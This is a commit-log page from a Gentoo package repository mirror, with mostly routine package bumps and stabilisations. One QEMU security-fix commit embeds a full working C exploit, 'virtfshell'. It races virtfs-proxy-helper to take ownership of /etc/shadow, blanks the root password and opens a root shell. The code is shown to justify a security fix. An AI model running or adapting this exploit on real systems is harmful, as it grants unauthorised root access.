gentoo-mirror/gentoo
1
0
Fork 0
mirror of https://github.com/gentoo-mirror/gentoo.git synced 2026-11-07 05:57:07 -08:00
Code Issues Projects Releases Wiki Activity
19,660 Commits 2 Branches 0 Tags
8cd4265ade754673d1211f7099a7c4c706e80098
Commit Graph
19660 Commits
This Branch
This Branch
All Branches
Author SHA1 Message Date
Ian Delaney 8cd4265ade Merge branch 'pull-469' 
Pull request: https://github.com/gentoo/gentoo/pull/469
 2015-12-14 23:33:29 +08:00
Alessandro Calorì 7eded6b17b media-gfx/pinta: revbump to 1.6-r2, removed redundant dependencies 
mono-addins with "gtk" USE flag is enough to pull in every Mono
library needed by Pinta

Package-Manager: portage-2.2.24
 2015-12-14 23:28:06 +08:00
Brian Evans 2341237bf1 mysql-multilib-r1.eclass: Adjust documentation comments wrt bug 568240 
Signed-off-by: Brian Evans <grknight@gentoo.org>
 2015-12-14 10:03:50 -05:00
Eray Aslan b746033fcd net-mail/dovecot: version bump to 2.2.21 (#568158) 
Package-Manager: portage-2.2.26
 2015-12-14 17:02:15 +02:00
Brian Evans 2800a9f472 dev-db/mariadb: Fix tests due to removed USE flag 
Package-Manager: portage-2.2.26
 2015-12-14 09:35:31 -05:00
Brian Evans 78134bea3c dev-db/percona-server: Fix tests due to removed USE flag 
Package-Manager: portage-2.2.26
 2015-12-14 09:35:26 -05:00
Brian Evans 3ebff50c7e dev-db/mysql: Fix tests with removed USE flag 
Package-Manager: portage-2.2.26
 2015-12-14 09:35:21 -05:00
Andreas Sturmlechner 4ff6ffb6f0 kde-plasma/kdeplasma-addons: Add KF 5.17 compatible 5.4.3 revbump 
Package-Manager: portage-2.2.24
 2015-12-15 01:33:59 +11:00
Michael Palimaka 05a023a74a kde-frameworks: version bump 5.17.0 
Package-Manager: portage-2.2.26
 2015-12-15 01:20:30 +11:00
Agostino Sarubbo 0d39eecef1 dev-db/sqlite: amd64 stable wrt bug #567998 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:12:18 +01:00
Agostino Sarubbo 40d639611d dev-ruby/pkg-config: amd64 stable wrt bug #568042 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:12:11 +01:00
Agostino Sarubbo 87cb782db0 dev-php/PEAR-Mail_Mime: amd64 stable wrt bug #567994 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:12:05 +01:00
Agostino Sarubbo b23eb7eaba media-video/mkvtoolnix: amd64 stable wrt bug #562484 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:59 +01:00
Agostino Sarubbo ffbbdc3ce5 app-i18n/im-freewnn: amd64 stable wrt bug #566230 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:52 +01:00
Agostino Sarubbo e379fbbf67 dev-python/oslotest: amd64 stable wrt bug #568022 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:46 +01:00
Agostino Sarubbo 20c392de98 dev-ruby/ruby-ldap: amd64 stable wrt bug #568110 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:39 +01:00
Agostino Sarubbo 58cc9b70e4 dev-libs/libnl: amd64 stable wrt bug #568052 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:33 +01:00
Agostino Sarubbo 0d88fa0077 dev-ruby/ruby-opengl: amd64 stable wrt bug #568114 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:26 +01:00
Agostino Sarubbo 27c73a1664 app-emulation/vice: amd64 stable wrt bug #568078 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:20 +01:00
Agostino Sarubbo ace4eb2053 dev-ruby/rdoc: amd64 stable wrt bug #568044 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:13 +01:00
Agostino Sarubbo d5e5470449 games-util/nml: amd64 stable wrt bug #568074 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:07 +01:00
Agostino Sarubbo 9fd66bf97b games-engines/stratagus: amd64 stable wrt bug #568076 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:11:00 +01:00
Agostino Sarubbo 23b121b0d5 dev-ruby/narray: amd64 stable wrt bug #568040 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:10:54 +01:00
Agostino Sarubbo e7314e0ee1 dev-ruby/ruby-openid: amd64 stable wrt bug #568118 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:10:47 +01:00
Agostino Sarubbo 7d05670225 app-emulation/xen: amd64 stable wrt bug #566842 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:10:41 +01:00
Agostino Sarubbo 691b0b52c4 dev-ruby/rrdtool-bindings: amd64 stable wrt bug #567586 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:10:35 +01:00
Agostino Sarubbo 643af5309f net-analyzer/rrdtool: amd64 stable wrt bug #567586 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:10:30 +01:00
Agostino Sarubbo 85c2ab6e6c app-text/docbook-xsl-stylesheets: amd64 stable wrt bug #568160 
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
 2015-12-14 15:10:22 +01:00
Andreas Sturmlechner 15f3b9b084 kde-misc/rsibreak: version bump 
Package-Manager: portage-2.2.26
 2015-12-15 00:49:18 +11:00
Andreas Sturmlechner fe0082e97d media-gfx/symboleditor: version bump 
Package-Manager: portage-2.2.26
 2015-12-15 00:25:20 +11:00
Michael Palimaka c874a5cc22 media-gfx/symboleditor: shorten DESCRIPTION to fit within 80-character guideline 
Package-Manager: portage-2.2.26
 2015-12-15 00:25:20 +11:00
Andreas Sturmlechner b6eb841a21 kde-base: Add >=cmake-3.4 configure fix for KDE PIM 
See also: https://bugs.gentoo.org/show_bug.cgi?id=566058
Tested-by: Vadim

Package-Manager: portage-2.2.24
 2015-12-15 00:12:17 +11:00
Michael Palimaka b1bea265b2 media-video/kamoso: version bump 
Package-Manager: portage-2.2.26
 2015-12-15 00:09:05 +11:00
Lars Wendler a740d93a05 www-servers/apache: Raised minimum required version of nghttp2 
to version 1.2.1 as reuqested in bug #568224

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 13:39:37 +01:00
Lars Wendler cb9ccc19de app-text/docbook-xsl-stylesheets: Fixed homepage variable in ebuilds. 
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 13:11:30 +01:00
Mike Pagano d2dd558682 sys-kernel/git-sources: Linux patch 4.4_rc5 
Package-Manager: portage-2.2.24
 2015-12-14 06:31:56 -05:00
Jason A. Donenfeld 183dd73947 app-emulation/qemu: critical security fix 
The virtfs-proxy-helper program is not a safe binary to give caps.
The following exploit code demonstrates the vulnerability:

~=~=~=~= snip ~=~=~=~=

/* == virtfshell ==
 *
 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
 * virtfs-proxy-helper makes some sort of flimsy check to make sure
 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
 *
 * This should spawn a root shell eventually on vulnerable systems.
 *
 * - zx2c4
 * 2015-12-12
 *
 *
 * zx2c4@thinkpad ~ $ lsb_release -i
 * Distributor ID: Gentoo
 * zx2c4@thinkpad ~ $ ./virtfshell
 * == Virtfshell - by zx2c4 ==
 * [+] Beginning race loop
 * [+] Chown'd /etc/shadow, elevating to root
 * [+] Cleaning up
 * [+] Spawning root shell
 * thinkpad zx2c4 # whoami
 * root
 *
 */

 #include <stdio.h>
 #include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/inotify.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <signal.h>

static int it_worked(void)
{
	struct stat sbuf = { 0 };
	stat("/etc/shadow", &sbuf);
	return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
	int fd;
	pid_t pid;
	char uid[12], gid[12];

	sprintf(uid, "%d", getuid());
	sprintf(gid, "%d", getgid());

	printf("== Virtfshell - by zx2c4 ==\n");

	printf("[+] Beginning race loop\n");

	while (!it_worked()) {
		fd = inotify_init();
		unlink("/tmp/virtfshell/sock");
		mkdir("/tmp/virtfshell", 0777);
		inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
		pid = fork();
		if (!pid) {
			close(0);
			close(1);
			close(2);
			execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
			_exit(1);
		}
		read(fd, 0, 0);
		unlink("/tmp/virtfshell/sock");
		symlink("/etc/shadow", "/tmp/virtfshell/sock");
		close(fd);
		kill(pid, SIGKILL);
		wait(NULL);
	}

	printf("[+] Chown'd /etc/shadow, elevating to root\n");

	system(	"cp /etc/shadow /tmp/original_shadow;"
		"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
		"cat /tmp/modified_shadow > /etc/shadow;"
		"su -c '"
		"	echo [+] Cleaning up;"
		"	cat /tmp/original_shadow > /etc/shadow;"
		"	chown root:root /etc/shadow;"
		"	rm /tmp/modified_shadow /tmp/original_shadow;"
		"	echo [+] Spawning root shell;"
		"	exec /bin/bash -i"
		"'");
	return 0;
}
 2015-12-14 12:12:01 +01:00
Patrice Clement b9fb83709e dev-perl/Pod-POM: Version bump. 
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
 2015-12-14 10:55:18 +00:00
Patrice Clement d9c35e53af dev-perl/File-Slurper: Initial commit 
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
 2015-12-14 10:55:14 +00:00
Patrice Clement c8dfd69f6f dev-perl/Math-Random-MT: Clean up old. 
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
 2015-12-14 10:55:12 +00:00
Patrice Clement 50ba2e9800 dev-perl/Math-BigInt-GMP: Version bump. 
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
 2015-12-14 10:55:08 +00:00
Patrice Clement c7c82202b7 dev-perl/Math-Random-MT: Version bump. 
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
 2015-12-14 10:55:02 +00:00
Lars Wendler 53b13a92be net-dns/nsd: Bump to versions 3.2.20 and 4.1.7 (bug #541036). 
Proxy commit for Tom Hendrikx.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 11:41:16 +01:00
Lars Wendler 93db59aba9 app-arch/pbzip2: Removed old. 
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 11:21:43 +01:00
Lars Wendler a00cf04f5b app-arch/pbzip2: Revbump to fix possible data corruption (#567952). 
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 11:20:56 +01:00
Lars Wendler 22612ba7a9 sys-process/numactl: Removed old. 
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 11:02:19 +01:00
Lars Wendler 38c382517c sys-process/numactl: Bump to version 2.0.11 
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 11:02:16 +01:00
Patrice Clement 9b2f4c676d dev-java/rngom: Version bump. 
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
 2015-12-14 09:43:23 +00:00
Justin Lecher 10671eba99 dev-python/cvxopt: Version Bump 
Gentoo-Bug: https://bugs.gentoo.org/show_bug.cgi?id=521210

Package-Manager: portage-2.2.26
Signed-off-by: Justin Lecher <jlec@gentoo.org>
 2015-12-14 10:11:37 +01:00
Lars Wendler 68e0aa7f7b package.mask: Removed mask of apache-2.4.17 
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
 2015-12-14 09:21:10 +01:00